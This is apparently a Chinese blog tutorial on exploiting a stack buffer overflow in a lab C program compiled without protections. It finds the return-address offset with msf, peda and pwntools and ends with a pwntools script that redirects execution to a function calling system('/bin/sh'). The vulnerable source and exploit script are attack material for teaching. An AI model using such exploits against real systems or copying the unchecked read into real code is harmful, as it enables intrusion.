gdb调试之超长字符生成与定位

本文详细介绍了在Kali Linux环境下,如何通过超长字符生成及定位溢出点的方法进行安全测试。从源码分析到编译调试,再到利用msf、peda和pwntools等工具确定payload结构,最终生成exp文件实现shellcode注入。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这篇文章主要讲解 kali 超长字符生成以及运行后定位溢出点的的几种方法。

一、源码

首先,老规矩,我们先附上代码:

//3.exe
#include <stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
	char str[20];
	read(0,str,50);
        printf("the str is:%s\n",str);
}
int main()
{
	func();
	return 0;
}

二、编译

# gcc -no-pie -fno-stack-protector -z execstack -m32 -o 33.exe 3.c

-no-pie:关闭程序ASLR/PIE(程序随机化保护)
-fno-stack-protector:关闭Stack Protector/Canary(栈保护)
-z execstack:关闭DEP/NX(堆栈不可执行)
-m32:生成32位的可执行文件
-o:输出
33.exe:编译生成文件的文件名
3.c:编译前的源文件

三、调试过程

# chesec 3.exe

查看栈的保护机制。
在这里插入图片描述

# gdb 33.exe
开始调试程序
# gdb-peda$ peda
查看peda的所有命令,类似于Windows中的help。
# gdb-peda$ start
程序开始
接下来,我们怎么判断程序是否存在溢出呢?——objdump
objdump -T .text 33.exe

在这里插入图片描述

1、确定payload结构

如上图,可以看出在程序中调用了的函数,我们可以知道程序中调用了 read 函数,即我们将要从程序中输入参数然后利用 read 读入。并且我们还可以知道函数调用了 system 函数,因此我们可以利用 read 读入超长参数产生溢出,将 system 函数的地址溢出到 ret 返回需要调用的 eip 地址中,这样在我们执行完程序结束时的执行 ret 时,将会跳转到 system 函数,从而执行 system函数。因此需要构的payload为

payload = 填充字符 + system地址(ret中eip的位置)

2、 查看system所在的相关函数

对于汇编调用的具体函数,我们还可以直接查看:如下我们可以发现原函数调用了read和system函数,接下来我们可以查看read和system函数。

# 查看system
objdump -D -M intel 33.exe|grep system
# 查看read
objdump -D -M intel 33.exe|grep read

在这里插入图片描述
如上图,我们发现 call system@plt在 0x804919f的位置,那么接下来我们查看栈空间的这个位置。

查看汇编

# linux格式的反汇编
objdump -D 33.exe 
# intel格式,看个人习惯吧,个人觉得这个格式便于观察
 objdump -D -M intel 33.exe  

(ps:对于以上命令显示出来的反汇编栈空间我还真是第一次遇见,大致咱请查看附录一啦!)
如下图,我们存在 call system@plt语句的地方找出来,我们会发现,它存在于函数(0x8049182)里面。
在这里插入图片描述

接下来,我们在gdb中查看函数的调用。system函数的是单一参数,因此我们可以猜测call前面的push edx 其实就是在将参数入栈,这里由于我们知道参数是 ”/bin/sh“ 因此我们可以直接利用,而在一般我们不知道system参数是什么时,我们可以在libc中找出 ”/bin/sh“ 字符串所在的首地址 XXX,然后通过超长字符溢出改变栈stack空间的值,从而达到将 ”/bin/sh“ 字符串所在的首地址 XXX 覆盖到edx的值,实现 ”system(”/bin/sh“)“ 语句的作用。
在这里插入图片描述

3、填充字符个数

方法一:msf
# 生成长度为100的无序字符
root@kali430:~# msf-pattern_create -l 100

下图是关于此命令的一些参数详解
在这里插入图片描述

# 在gdb中利用命令 R 将字符输入

在这里插入图片描述
发生错误,即产生了溢出,此时查看EIP中的字符(0Ab1),即此时EIP中字符串的地址将是之后 ret 返回时栈空间 eip的位置。
在这里插入图片描述
查看EIP字符串 ‘0Ab1’ 偏移量:EIP中的字符串与原来乱序字符串的偏移量便是我们将要填充的字符个数。

msf-pattern_offset -q 0Ab1

在这里插入图片描述

方法二:peda——pattern

类似于方法一只不过,这里利用的时peda中的pattern命令。

# 首先,生成乱序字符串。
pattern_create 100
# R 运行,将乱序字符串输入,ps:单引号不需要复制,否则会产生偏差哦!

在这里插入图片描述
查看EIP的覆盖字符串。—— ‘A)AA’
在这里插入图片描述
查找偏移量:如下图,我么可以发现偏移量为32。

pattern_offset A)AA

在这里插入图片描述

方法三:pwntools——cyclic

与上述方法类似,只是命令不同罢了。

# 输入pwn类似于Windows中输入help哦,可以查看pwntools的所有命令!
# 生成长度为100的乱序字符串
cyclic 100
# R 命令运行输入字符串

在这里插入图片描述
以下是cyclic命令相关参数展示:
在这里插入图片描述
发生报错,即溢出成功,查找EIP字符。—— ‘iaaa’
在这里插入图片描述
查看EIP字符串 ‘iaaa’ 的偏移量:

cyclic -l iaaa

在这里插入图片描述

四、生成exp文件


from pwn import *
p=process('./33.exe') #加载33.exe 可执行文件
offset = 32 #可填充字符偏移量
payload ='a'*offset+p32(0x8049182) 
#p32(0x8049182)加载的是 exploit函数,恰好此函数中仅含有 system(‘/bin/sh’)这个语句,一般情况我们不知道exploit中system函数的情况时,应该自己去构造 system中的参数。
#payload ='a'*offset+p32(0x804919f)+p32(?)+p32(?)
p.sendline(payload)
p.interactive()

附录一:

PS:关于附录的话,我们日后在讲解,有兴趣的可以先自行查找一下相关资料哦,相信这其中的奥秘定会让你有新的收获啦!

Disassembly of section .interp:
08048194 <.interp>:

Disassembly of section .note.gnu.build-id:
080481a8 <.note.gnu.build-id>:

Disassembly of section .note.ABI-tag:
080481cc <.note.ABI-tag>:

Disassembly of section .gnu.hash:
080481ec <.gnu.hash>:

Disassembly of section .dynsym:
0804820c <.dynsym>:

Disassembly of section .dynstr:
0804827c <.dynstr>:

Disassembly of section .gnu.version:
080482d4 <.gnu.version>:

Disassembly of section .gnu.version_r:
080482e4 <.gnu.version_r>:

Disassembly of section .rel.dyn:
08048304 <.rel.dyn>:

Disassembly of section .rel.plt:
0804830c <.rel.plt>:

Disassembly of section .init:
08049000 <_init>:

Disassembly of section .plt:
08049020 <.plt>:
 8049020:	ff 35 04 c0 04 08    	push   DWORD PTR ds:0x804c004
 8049026:	ff 25 08 c0 04 08    	jmp    DWORD PTR ds:0x804c008
 804902c:	00 00                	add    BYTE PTR [eax],al

08049030 <read@plt>:
 8049030:	ff 25 0c c0 04 08    	jmp    DWORD PTR ds:0x804c00c
 8049036:	68 00 00 00 00       	push   0x0
 804903b:	e9 e0 ff ff ff       	jmp    8049020 <.plt>

08049040 <printf@plt>:
 8049040:	ff 25 10 c0 04 08    	jmp    DWORD PTR ds:0x804c010
 8049046:	68 08 00 00 00       	push   0x8
 804904b:	e9 d0 ff ff ff       	jmp    8049020 <.plt>

08049050 <system@plt>:
 8049050:	ff 25 14 c0 04 08    	jmp    DWORD PTR ds:0x804c014
 8049056:	68 10 00 00 00       	push   0x10
 804905b:	e9 c0 ff ff ff       	jmp    8049020 <.plt>

08049060 <__libc_start_main@plt>:
 8049060:	ff 25 18 c0 04 08    	jmp    DWORD PTR ds:0x804c018
 8049066:	68 18 00 00 00       	push   0x18
 804906b:	e9 b0 ff ff ff       	jmp    8049020 <.plt>


Disassembly of section .text:

08049070 <_start>:

080490b0 <_dl_relocate_static_pie>:
080490c0 <__x86.get_pc_thunk.bx>:

080490d0 <deregister_tm_clones>:
08049110 <register_tm_clones>:
08049150 <__do_global_dtors_aux>:

08049180 <frame_dummy>:
 8049180:	eb 8e                	jmp    8049110 <register_tm_clones>


<exploit>:
 8049182:	55                   	push   ebp
 8049183:	89 e5                	mov    ebp,esp
 8049185:	53                   	push   ebx
 8049186:	83 ec 04             	sub    esp,0x4
 8049189:	e8 7c 00 00 00       	call   804920a <__x86.get_pc_thunk.ax>
 804918e:	05 72 2e 00 00       	add    eax,0x2e72
 8049193:	83 ec 0c             	sub    esp,0xc
 8049196:	8d 90 08 e0 ff ff    	lea    edx,[eax-0x1ff8]
 804919c:	52                   	push   edx
 804919d:	89 c3                	mov    ebx,eax
 804919f:	e8 ac fe ff ff       	call   8049050 <system@plt>
 80491a4:	83 c4 10             	add    esp,0x10
 80491a7:	90                   	nop
 80491a8:	8b 5d fc             	mov    ebx,DWORD PTR [ebp-0x4]
 80491ab:	c9                   	leave  
 80491ac:	c3                   	ret    

080491ad <func>:
 80491ad:	55                   	push   ebp
 80491ae:	89 e5                	mov    ebp,esp
 80491b0:	53                   	push   ebx
 80491b1:	83 ec 24             	sub    esp,0x24
 80491b4:	e8 07 ff ff ff       	call   80490c0 <__x86.get_pc_thunk.bx>
 80491b9:	81 c3 47 2e 00 00    	add    ebx,0x2e47
 80491bf:	83 ec 04             	sub    esp,0x4
 80491c2:	6a 32                	push   0x32
 80491c4:	8d 45 e4             	lea    eax,[ebp-0x1c]
 80491c7:	50                   	push   eax
 80491c8:	6a 00                	push   0x0
 80491ca:	e8 61 fe ff ff       	call   8049030 <read@plt>
 80491cf:	83 c4 10             	add    esp,0x10
 80491d2:	83 ec 08             	sub    esp,0x8
 80491d5:	8d 45 e4             	lea    eax,[ebp-0x1c]
 80491d8:	50                   	push   eax
 80491d9:	8d 83 10 e0 ff ff    	lea    eax,[ebx-0x1ff0]
 80491df:	50                   	push   eax
 80491e0:	e8 5b fe ff ff       	call   8049040 <printf@plt>
 80491e5:	83 c4 10             	add    esp,0x10
 80491e8:	90                   	nop
 80491e9:	8b 5d fc             	mov    ebx,DWORD PTR [ebp-0x4]
 80491ec:	c9                   	leave  
 80491ed:	c3                   	ret    

080491ee <main>:
 80491ee:	55                   	push   ebp
 80491ef:	89 e5                	mov    ebp,esp
 80491f1:	83 e4 f0             	and    esp,0xfffffff0
 80491f4:	e8 11 00 00 00       	call   804920a <__x86.get_pc_thunk.ax>
 80491f9:	05 07 2e 00 00       	add    eax,0x2e07
 80491fe:	e8 aa ff ff ff       	call   80491ad <func>
 8049203:	b8 00 00 00 00       	mov    eax,0x0
 8049208:	c9                   	leave  
 8049209:	c3                   	ret    

0804920a <__x86.get_pc_thunk.ax>:
8049271 <__x86.get_pc_thunk.bp>:

isassembly of section .fini:
Disassembly of section .rodata:
0804a004 <_IO_stdin_used>:

Disassembly of section .eh_frame_hdr:
0804a020 <__GNU_EH_FRAME_HDR>:


Disassembly of section .eh_frame:
0804a07c <__FRAME_END__-0x16c>:
0804a1e8 <__FRAME_END__>:

Disassembly of section .init_array:
0804bf0c <__frame_dummy_init_array_entry>:

Disassembly of section .fini_array:
0804bf10 <__do_global_dtors_aux_fini_array_entry>:

Disassembly of section .dynamic:
0804bf14 <_DYNAMIC>:

Disassembly of section .got:

Disassembly of section .got.plt:
0804c000 <_GLOBAL_OFFSET_TABLE_>:

Disassembly of section .data:
0804c01c <__data_start>:
0804c020 <__dso_handle>:

Disassembly of section .bss:
0804c024 <completed.7008>:

Disassembly of section .comment:
00000000 <.comment>:
   0:	47                   	inc    edi
   1:	43                   	inc    ebx
   2:	43                   	inc    ebx
   3:	3a 20                	cmp    ah,BYTE PTR [eax]
   5:	28 44 65 62          	sub    BYTE PTR [ebp+eiz*2+0x62],al
   9:	69 61 6e 20 39 2e 32 	imul   esp,DWORD PTR [ecx+0x6e],0x322e3920
  10:	2e 31 2d 33 30 29 20 	xor    DWORD PTR cs:0x20293033,ebp
  17:	39 2e                	cmp    DWORD PTR [esi],ebp
  19:	32 2e                	xor    ch,BYTE PTR [esi]
  1b:	31 20                	xor    DWORD PTR [eax],esp
  1d:	32 30                	xor    dh,BYTE PTR [eax]
  1f:	32 30                	xor    dh,BYTE PTR [eax]
  21:	30 32                	xor    BYTE PTR [edx],dh
  23:	32 34 00             	xor    dh,BYTE PTR [eax+eax*1]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值